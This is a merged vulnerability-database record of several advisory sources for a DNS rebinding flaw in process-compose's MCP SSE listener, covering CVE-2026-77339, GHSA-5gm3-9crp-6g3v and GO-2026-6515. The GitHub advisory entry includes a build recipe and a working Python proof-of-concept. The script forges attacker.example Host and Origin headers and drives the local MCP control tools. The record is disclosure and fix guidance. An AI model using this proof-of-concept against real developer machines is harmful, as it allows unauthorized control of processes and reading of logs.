{"id":"GO-2026-6515","revision":null,"records":[{"revision":"d28fe82994304b11b19a63902dfd809f","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-77339","aliases":[],"title":"Process Compose: Browser DNS rebinding lets websites control local process-compose MCP tools","description":"Process Compose is a scheduler and orchestrator for non-containerized applications. Prior to 1.120.0, the MCP SSE listener in src/mcp/server.go accepts browser-origin requests to /sse and the returned message endpoint without validating the Host header, validating the Origin header, or authenticating the caller. When MCP SSE is enabled, a malicious website can use DNS rebinding to reach the loopback listener and issue MCP requests. If expose_control_tools is enabled, the attacker can enumerate process state, read or search logs, truncate logs, and start, stop, restart, or scale local processes; configured user-defined tools can expose additional commands and output. The Gin REST API token middleware does not protect this separately started MCP listener. This issue is fixed in version 1.120.0.","state":0,"publishedAt":"2026-09-18T16:37:19.072+00:00","modifiedAt":"2026-09-18T16:49:46.487+00:00","affected":[{"ecosystem":"Vendor product","name":"process-compose","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"F1bonacc1\",\n                    \"product\": \"process-compose\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.120.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:H/SA:N","score":5.1,"severity":"MEDIUM"}],"references":["https://github.com/F1bonacc1/process-compose/security/advisories/GHSA-5gm3-9crp-6g3v","https://github.com/F1bonacc1/process-compose/commit/6ffa74f462cd2fa4f8dc1ee63c70b793b298c858","https://github.com/F1bonacc1/process-compose/releases/tag/v1.120.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-77339","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-77339","identifiers":["CVE-2026-77339"]},"retained":false,"historicalAffected":[]},{"revision":"a6a8a5e1b9634290b659753174095117","observedAt":"2026-11-11T16:08:17.927+00:00","statement":{"source":"euvd","id":"EUVD-2026-83168","aliases":["CVE-2026-77339","GHSA-5gm3-9crp-6g3v"],"title":"Process Compose is a scheduler and orchestrator for non-containerized applications. Prior to 1.120.0, the MCP SSE listener in src/mcp/server.go accepts browser-origin requests to /sse and the returned message endpoint without validating the…","description":"Process Compose is a scheduler and orchestrator for non-containerized applications. Prior to 1.120.0, the MCP SSE listener in src/mcp/server.go accepts browser-origin requests to /sse and the returned message endpoint without validating the Host header, validating the Origin header, or authenticating the caller. When MCP SSE is enabled, a malicious website can use DNS rebinding to reach the loopback listener and issue MCP requests. If expose_control_tools is enabled, the attacker can enumerate process state, read or search logs, truncate logs, and start, stop, restart, or scale local processes; configured user-defined tools can expose additional commands and output. The Gin REST API token middleware does not protect this separately started MCP listener. This issue is fixed in version 1.120.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:H/SA:N","score":5.1,"severity":null}],"references":["https://github.com/F1bonacc1/process-compose/security/advisories/GHSA-5gm3-9crp-6g3v","https://github.com/F1bonacc1/process-compose/commit/6ffa74f462cd2fa4f8dc1ee63c70b793b298c858","https://github.com/F1bonacc1/process-compose/releases/tag/v1.120.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-83168","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 18, 2026, 4:37:19 PM","dateUpdated":"Sep 18, 2026, 4:49:46 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-83168","identifiers":["EUVD-2026-83168","CVE-2026-77339","GHSA-5gm3-9crp-6g3v"]},"retained":false,"historicalAffected":[]},{"revision":"cbf41b210b0040c0a42fd2dd4f0ae050","observedAt":"2026-10-25T16:19:04.694+00:00","statement":{"source":"nvd","id":"CVE-2026-77339","aliases":[],"title":"Process Compose is a scheduler and orchestrator for non-containerized applications. Prior to 1.120.0, the MCP SSE listener in src/mcp/server.go accepts browser-origin requests to /sse and the returned message endpoint without validating the…","description":"Process Compose is a scheduler and orchestrator for non-containerized applications. Prior to 1.120.0, the MCP SSE listener in src/mcp/server.go accepts browser-origin requests to /sse and the returned message endpoint without validating the Host header, validating the Origin header, or authenticating the caller. When MCP SSE is enabled, a malicious website can use DNS rebinding to reach the loopback listener and issue MCP requests. If expose_control_tools is enabled, the attacker can enumerate process state, read or search logs, truncate logs, and start, stop, restart, or scale local processes; configured user-defined tools can expose additional commands and output. The Gin REST API token middleware does not protect this separately started MCP listener. This issue is fixed in version 1.120.0.","state":0,"publishedAt":"2026-09-18T17:17:00.663+00:00","modifiedAt":"2026-09-24T21:25:27.05+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":5.1,"severity":"MEDIUM"}],"references":["https://github.com/F1bonacc1/process-compose/commit/6ffa74f462cd2fa4f8dc1ee63c70b793b298c858","https://github.com/F1bonacc1/process-compose/releases/tag/v1.120.0","https://github.com/F1bonacc1/process-compose/security/advisories/GHSA-5gm3-9crp-6g3v"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77339","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-306","CWE-346"],"productCriteria":[],"sourceDates":{"published":"2026-09-18T17:17:00.663","lastModified":"2026-09-24T21:25:27.050"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-77339","identifiers":["CVE-2026-77339"]},"retained":false,"historicalAffected":[]},{"revision":"5c59bfb9b96b42ab8ccea7ddea3a9240","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-5gm3-9crp-6g3v","aliases":["CVE-2026-77339","GO-2026-6515"],"title":"Process Compose: Browser DNS rebinding lets websites control local process-compose MCP tools","description":"## Summary\n\nA malicious website can use DNS rebinding to control a developer's local process-compose MCP SSE listener when MCP SSE is enabled. The vulnerable path accepts browser-origin requests before any Host validation, Origin validation, or caller-secret check, then dispatches the requests into process-compose MCP tools.\n\nThis advisory covers `https://github.com/F1bonacc1/process-compose`, confirmed at commit `d56aa59df04b72f8644811ac581a051bec05e485`.\n\nThe issue is in the MCP SSE transport, not the Gin REST API. The REST API token middleware protects REST routes, but the MCP listener is started separately and does not inherit that protection.\n\n## Affected Code\n\nRoot cause:\n\n```text\nsrc/types/mcp.go:24-30      SSE is the default MCP transport when mcp_server.transport is omitted.\nsrc/types/mcp.go:64-70      SSE configuration requires only host and port. There is no auth, Host allowlist, Origin allowlist, or caller-secret field.\nsrc/mcp/server.go:203-214   The server starts server.NewSSEServer(s.mcpServer) directly on the configured address.\nsrc/api/routes.go:32-39     X-PC-Token-Key middleware is installed on the Gin REST router, not on the MCP SSE listener.\n```\n\nImpact surface:\n\n```text\nsrc/mcp/mcp_manager.go:33-38     expose_control_tools registers built-in process-compose control tools.\nsrc/mcp/control_tools.go:26-116  The registered tools start, stop, restart, scale, read logs, search logs, and truncate logs.\nsrc/mcp/control_tools.go:121-142 The registered tools return project and process state.\n```\n\n## Reproduction\n\nStart process-compose from the affected commit with MCP SSE and built-in control tools enabled:\n\n```bash\nworkdir=\"$(mktemp -d)\"\ncd \"$workdir\"\ngit clone https://github.com/F1bonacc1/process-compose process-compose-target\ncd process-compose-target\ngit checkout d56aa59df04b72f8644811ac581a051bec05e485\n\ngo build -o ./process-compose-poc .\n\ncat > process-compose-mcp-poc.yaml <<'YAML'\nmcp_server:\n  host: 127.0.0.1\n  port: 8081\n  transport: sse\n  expose_control_tools: true\n\nprocesses:\n  sleeper:\n    command: \"sleep 600\"\n    disabled: true\nYAML\n\nPC_NO_SERVER=1 PC_DISABLE_DOTENV=1 ./process-compose-poc up \\\n  -f ./process-compose-mcp-poc.yaml \\\n  -t=false \\\n  --no-server \\\n  --keep-project \\\n  --log-file ./process-compose-mcp-poc.log\n```\n\nIn a second terminal, emulate the browser request shape produced by DNS rebinding. A real attacker page keeps `Host: attacker.example:8081` and `Origin: http://attacker.example:8081` while the hostname resolves to `127.0.0.1`. The script below sends that same request shape to the local MCP SSE listener:\n\n```bash\npython3 - <<'PY'\nimport http.client\nimport json\nimport queue\nimport threading\nimport time\nimport urllib.parse\n\nhost = \"127.0.0.1\"\nport = 8081\nattacker_host = \"attacker.example:8081\"\norigin = \"http://attacker.example:8081\"\nheaders = {\n    \"Host\": attacker_host,\n    \"Origin\": origin,\n    \"Accept\": \"text/event-stream\",\n}\n\nevents = queue.Queue()\n\ndef read_sse(resp):\n    event = None\n    data = None\n    while True:\n        line = resp.readline()\n        if not line:\n            return\n        text = line.decode(\"utf-8\", \"replace\").strip()\n        if text.startswith(\"event:\"):\n            event = text.split(\":\", 1)[1].strip()\n        elif text.startswith(\"data:\"):\n            data = text.split(\":\", 1)[1].strip()\n        elif text == \"\" and (event or data):\n            events.put((event, data))\n            event = None\n            data = None\n\nconn = http.client.HTTPConnection(host, port, timeout=10)\nconn.request(\"GET\", \"/sse\", headers=headers)\nresp = conn.getresponse()\nprint(\"GET /sse\", resp.status)\nprint(\"Access-Control-Allow-Origin:\", resp.getheader(\"Access-Control-Allow-Origin\"))\nthreading.Thread(target=read_sse, args=(resp,), daemon=True).start()\n\nendpoint = None\ndeadline = time.time() + 10\nwhile time.time() < deadline:\n    event, data = events.get(timeout=1)\n    if event == \"endpoint\":\n        endpoint = data\n        break\nassert endpoint, \"no SSE endpoint event\"\nprint(\"endpoint\", endpoint)\n\ndef post(message):\n    parsed = urllib.parse.urlparse(endpoint)\n    path = parsed.path + (\"?\" + parsed.query if parsed.query else \"\")\n    body = json.dumps(message).encode()\n    c = http.client.HTTPConnection(host, port, timeout=10)\n    c.request(\"POST\", path, body=body, headers={\n        \"Host\": attacker_host,\n        \"Origin\": origin,\n        \"Content-Type\": \"application/json\",\n        \"Content-Length\": str(len(body)),\n        \"Authorization\": \"Bearer invalid-replay-token\",\n    })\n    r = c.getresponse()\n    r.read()\n    c.close()\n    print(\"POST\", message.get(\"method\"), r.status)\n\ndef wait_result(rpc_id):\n    deadline = time.time() + 10\n    while time.time() < deadline:\n        event, data = events.get(timeout=1)\n        if event == \"message\" and data:\n            msg = json.loads(data)\n            if msg.get(\"id\") == rpc_id:\n                return msg\n    raise SystemExit(f\"no result for id {rpc_id}\")\n\npost({\n    \"jsonrpc\": \"2.0\",\n    \"id\": 1,\n    \"method\": \"initialize\",\n    \"params\": {\n        \"protocolVersion\": \"2024-11-05\",\n        \"capabilities\": {},\n        \"clientInfo\": {\"name\": \"rebind-poc\", \"version\": \"1.0.0\"}\n    }\n})\nprint(json.dumps(wait_result(1), indent=2))\n\npost({\"jsonrpc\": \"2.0\", \"method\": \"notifications/initialized\", \"params\": {}})\n\npost({\"jsonrpc\": \"2.0\", \"id\": 2, \"method\": \"tools/list\", \"params\": {}})\ntools = wait_result(2)\nnames = [tool[\"name\"] for tool in tools[\"result\"][\"tools\"]]\nprint(\"tools\", names)\n\npost({\n    \"jsonrpc\": \"2.0\",\n    \"id\": 3,\n    \"method\": \"tools/call\",\n    \"params\": {\n        \"name\": \"pc_process_list\",\n        \"arguments\": {}\n    }\n})\nprint(json.dumps(wait_result(3), indent=2))\nPY\n```\n\n## Observed Result\n\nThe MCP SSE listener accepted the forged browser-origin request shape:\n\n```text\nHost: attacker.example:8081\nOrigin: http://attacker.example:8081\nAuthorization: Bearer invalid-replay-token\n```\n\nThe server returned `GET /sse: HTTP 200` with `Access-Control-Allow-Origin: *`. The MCP session then completed `initialize`, returned the process-compose tool catalog, and allowed `tools/call` to reach a process-control handler.\n\nThe operator reproduced the issue against the genuine process-compose target and observed `pc_process_list` returning:\n\n```json\n{\n  \"data\": [\n    {\n      \"name\": \"sleeper\",\n      \"namespace\": \"default\",\n      \"status\": \"Disabled\",\n      \"system_time\": \"-\",\n      \"age\": 0,\n      \"is_ready\": \"-\",\n      \"has_ready_probe\": false,\n      \"restarts\": 0,\n      \"exit_code\": 0,\n      \"pid\": 0,\n      \"is_elevated\": false,\n      \"password_provided\": false,\n      \"mem\": 0,\n      \"cpu\": 0,\n      \"is_running\": false\n    }\n  ]\n}\n```\n\nEarlier replay against the same target also listed 13 `pc_*` MCP control tools and reached project-state and process-control calls through the SSE message endpoint.\n\n## Impact\n\nA web attacker can drive local process-compose MCP requests from the victim browser when the operator has enabled MCP SSE. The attacker does not need a bearer token, API key, cookie, client certificate, or CSRF token.\n\nWith `expose_control_tools: true`, the same unauthenticated browser-origin path can enumerate process state, read logs, search logs, truncate logs, start processes, stop processes, restart processes, and scale processes. If the operator exposes user-defined MCP process tools, the attacker can invoke those configured commands and read their output.\n\nProcess logs and process output often contain service names, local paths, usernames, runtime state, internal URLs, and secrets emitted by child processes. Start, stop, restart, scale, and log truncation are process-control operations on the developer's local process-compose project.\n\n## Suggested Fix\n\nAdd a target-side trust boundary to the MCP SSE listener before MCP dispatch:\n\n1. Reject requests whose `Host` header is not loopback or an explicit configured trusted name.\n2. Reject browser requests whose `Origin` is not a trusted loopback or configured origin.\n3. Require a random per-run bearer token or equivalent caller secret on both `/sse` and the returned `/message` endpoint.\n4. Do not rely on localhost reachability as an authentication boundary for browser-reachable HTTP transports.\n5. Consider requiring an explicit authentication setting before starting SSE MCP with process-control tools.","state":0,"publishedAt":"2026-09-18T17:17:51+00:00","modifiedAt":"2026-09-28T17:11:08.4192298+00:00","affected":[{"ecosystem":"Go","name":"github.com/f1bonacc1/process-compose","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.120.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:H/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/F1bonacc1/process-compose/security/advisories/GHSA-5gm3-9crp-6g3v","https://github.com/F1bonacc1/process-compose/commit/6ffa74f462cd2fa4f8dc1ee63c70b793b298c858","https://github.com/F1bonacc1/process-compose","https://github.com/F1bonacc1/process-compose/releases/tag/v1.120.0"],"sourceUrl":"https://github.com/advisories/GHSA-5gm3-9crp-6g3v","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-5gm3-9crp-6g3v","identifiers":["GHSA-5gm3-9crp-6g3v","CVE-2026-77339","GO-2026-6515"]},"retained":false,"historicalAffected":[]},{"revision":"1405ea55dc824dd9b2cb869963de5ef0","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6515","aliases":["CVE-2026-77339","GHSA-5gm3-9crp-6g3v"],"title":"Process Compose: Browser DNS rebinding lets websites control local process-compose MCP tools in github.com/f1bonacc1/process-compose","description":"Process Compose: Browser DNS rebinding lets websites control local process-compose MCP tools in github.com/f1bonacc1/process-compose","state":0,"publishedAt":"2026-09-28T16:43:40+00:00","modifiedAt":"2026-09-28T17:00:17.0062371+00:00","affected":[{"ecosystem":"Go","name":"github.com/f1bonacc1/process-compose","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.120.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/F1bonacc1/process-compose/security/advisories/GHSA-5gm3-9crp-6g3v","https://github.com/F1bonacc1/process-compose/commit/6ffa74f462cd2fa4f8dc1ee63c70b793b298c858","https://github.com/F1bonacc1/process-compose/releases/tag/v1.120.0"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6515","license":"OSV · upstream source license applies","key":"osv:GO-2026-6515","identifiers":["GO-2026-6515","CVE-2026-77339","GHSA-5gm3-9crp-6g3v"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-12T07:54:58.2349119+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-12T07:54:58.2349119+00:00","lastSuccessAt":"2026-11-12T07:54:58.4848198+00:00","error":null,"lastVerifiedAt":"2026-11-12T07:54:58.4848225+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-64752486c567b55b31fb0d7225f5222bcd0019564ac0ac5f0649e242c7b19299-1225a640a70b576ed1a85d2671a302d70a8e18168f570c1f4912faf8f66b1119","complete":true,"records":424623,"lastAttemptAt":"2026-11-12T07:53:22.876714+00:00","lastSuccessAt":"2026-11-12T07:53:22.8444514+00:00","error":null,"lastVerifiedAt":"2026-11-12T07:53:22.876714+00:00","snapshotPublishedAt":"2026-11-12T07:24:53+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-570328139368428ca550af1570d01579","complete":true,"records":13760,"lastAttemptAt":"2026-11-12T07:55:38.9446123+00:00","lastSuccessAt":"2026-11-12T06:55:06.923+00:00","error":null,"lastVerifiedAt":"2026-11-12T06:55:06.923+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13813,"expectedIdentifiers":13813,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-12T07:54:58.2349119+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-12T07:54:58.2349119+00:00","lastSuccessAt":"2026-11-12T07:54:58.4862124+00:00","error":null,"lastVerifiedAt":"2026-11-12T07:54:58.4862143+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-8017f5c1a44c430b920cd4f30d507e78","complete":true,"records":13760,"lastAttemptAt":"2026-11-12T07:55:38.3687422+00:00","lastSuccessAt":"2026-11-12T07:55:38.365+00:00","error":null,"lastVerifiedAt":"2026-11-12T07:55:38.365+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13813,"expectedIdentifiers":13813,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-12T07:54:58.021445+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-12T07:54:58.021445+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-12T07:53:23.1198989+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-12T07:53:23.1198989+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-baa8362b4daf9e5f39d5563775a55935e7b442c0735d33274a921579ce4a0d66","complete":true,"records":3093,"lastAttemptAt":"2026-11-12T07:54:58.1995224+00:00","lastSuccessAt":"2026-11-11T13:00:02.5446881+00:00","error":null,"lastVerifiedAt":"2026-11-12T07:54:58.1995224+00:00","snapshotPublishedAt":"2026-11-11T12:47:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-3c15e3b4b3da393566ac7be69c095bef52c252ec437d24c4c6ea68ed9e4af0f5","complete":true,"records":231700,"lastAttemptAt":"2026-11-12T07:54:57.8931777+00:00","lastSuccessAt":"2026-11-12T07:54:56.4668314+00:00","error":null,"lastVerifiedAt":"2026-11-12T07:54:57.8931777+00:00","snapshotPublishedAt":"2026-11-12T07:33:19+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}